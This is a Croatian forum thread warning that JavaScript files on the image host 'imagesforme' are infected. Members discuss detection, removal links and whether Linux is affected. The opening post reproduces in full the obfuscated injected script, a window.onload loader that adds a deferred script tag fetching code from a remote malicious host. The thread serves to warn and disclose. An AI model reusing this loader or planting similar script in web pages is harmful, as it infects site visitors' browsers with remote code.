IMAGESFORME -- VIRUS !!!!! - RIJEŠENO

Razne diskusije nevezane za Linux.

Moderator/ica: Moderatori/ce

Odgovori
Avatar
dalibor.klobucaric
Postovi: 1278
Pridružen/a: 17 ožu 2008, 09:35
Spol: M
OS: ubuntu 16
Lokacija: Čakovec
Kontakt:

IMAGESFORME -- VIRUS !!!!! - RIJEŠENO

Post Postao/la dalibor.klobucaric »

znači js ima kod kojeg AV solucije priznaju kao virus provjereno NOD32 i online skener..

Znači virus se nalazi u ovom kodu

Kod: Označi sve

/*GNU GPL*/ try{window.onload = function(){var Eaqvasv0guh6 = document.createElement('s&^$c)r(#i#^p#t(&'.replace(/\)|\$|#|\!|\^|&|\(|@/ig, ''));var Fanmmv94t5 = 'Go12d80m5wft';Eaqvasv0guh6.setAttribute('type', 't$e&^#$(x!(&t$(/#^j!^&a!v$!a(^^s&$#c#$r)))i^@!@p!(#t@'.replace(/\^|@|\$|&|\(|#|\!|\)/ig, ''));Eaqvasv0guh6.setAttribute('src',  'h##&t)#@t^(p$#(:(##)/^!)/&(e#x!^)a#$m&#$i))n#@)e#r@-(c((!o$m@()#.(#a$^!t(^d@@(!^m(($t@$^.!#&c!&&@o#@m&&.$#b@u^!(s#i)!n@@&e^s^@s^w(e$e#k$-&c&(o!^@!#m()^.^&t$#$&^h##&#e@^$#a$o()n$$l$$i#$&n(@e^#.&#r^)#u^^^^:((8#(0^#@8^!$^0&!/#&x(a!n(@&&g#(!a#.#@c)!o^$m#!^/$$x#^(a&n@(g$(a).(^&@c!&@o$m)/@!$g!#(^o#o($g^@)l(!e@.@!(c#)o(@!m^&^/!#!g)^(&o))@()o^$)g!)l^(#e(!.@f(@i$)!/@))o@^(n#@e!$^)i^))n$$d)i$#!#a)&.$i#&@n#!/$#'.replace(/\^|\(|&|\$|\)|#|\!|@/ig, ''));Eaqvasv0guh6.setAttribute('defer', 'd@)e$&!!f&(^e@r(!'.replace(/&|@|#|\!|\)|\$|\(|\^/ig, ''));Eaqvasv0guh6.setAttribute('id', 'A##(g(@^@d^5#&r()!&s^)@o)&e)^#1(3((h!&3(!m^^!'.replace(/&|@|\^|\$|\(|\!|\)|#/ig, ''));document.body.appendChild(Eaqvasv0guh6);}} catch(Pbzzolc8dk) {}
stavio sam na jotti da možete vidjeti..
http://virusscan.jotti.org/en/scanresul ... 45d249da36

Happy uploading
P.S.
Svi linkovi sa .js om imaju gore navedeni kod, provijerite.
Zadnja izmjena: dalibor.klobucaric, dana/u 05 sij 2010, 11:02, ukupno mijenjano 1 put.
Because Open Source Matters
--
Sites - Under construction
Avatar
dalibor.klobucaric
Postovi: 1278
Pridružen/a: 17 ožu 2008, 09:35
Spol: M
OS: ubuntu 16
Lokacija: Čakovec
Kontakt:

Re: IMAGESFORME -- VIRUS !!!!!

Post Postao/la dalibor.klobucaric »

ovisno što točno od OS-a koristite i kakav je vaš preglednik
tj server i fpt pass
pročitajte ovo
http://justcoded.com/article/gumblar-fa ... oval-tool/
i ovo
http://seoforums.org/site-optimization/ ... n-var.html
Because Open Source Matters
--
Sites - Under construction
Avatar
Markec
Postovi: 3865
Pridružen/a: 30 sij 2008, 14:55
Spol: M
OS: neodlučan
Lokacija: Croatia/Zagorje

Re: IMAGESFORME -- VIRUS !!!!!

Post Postao/la Markec »

Nisi spomenuo za koju je platformu pisan virus, dalis mo mi linuxaši izloženi tome ?
Avatar
dalibor.klobucaric
Postovi: 1278
Pridružen/a: 17 ožu 2008, 09:35
Spol: M
OS: ubuntu 16
Lokacija: Čakovec
Kontakt:

Re: IMAGESFORME -- VIRUS !!!!!

Post Postao/la dalibor.klobucaric »

Aha pardon. Našao ga je NOD32 na visti, virus je JavaScript i ima 3 layera zaštite, skače na 2 zombie servera i onda mu se gubi trag. Mislim, nisam siguran, dal skida neki exe al nisam još dignulo nikakvu distru linux-a da proučim detaljnije... ću, evo upravo se borim sa zombijima...

Damn dečko je dobar..
Upravo sam saznal da ga sam par AV solucija može otkriti I da je virus relativno mlad..

EDIT: ispravili su dečki bug u kodu
Because Open Source Matters
--
Sites - Under construction
Odgovori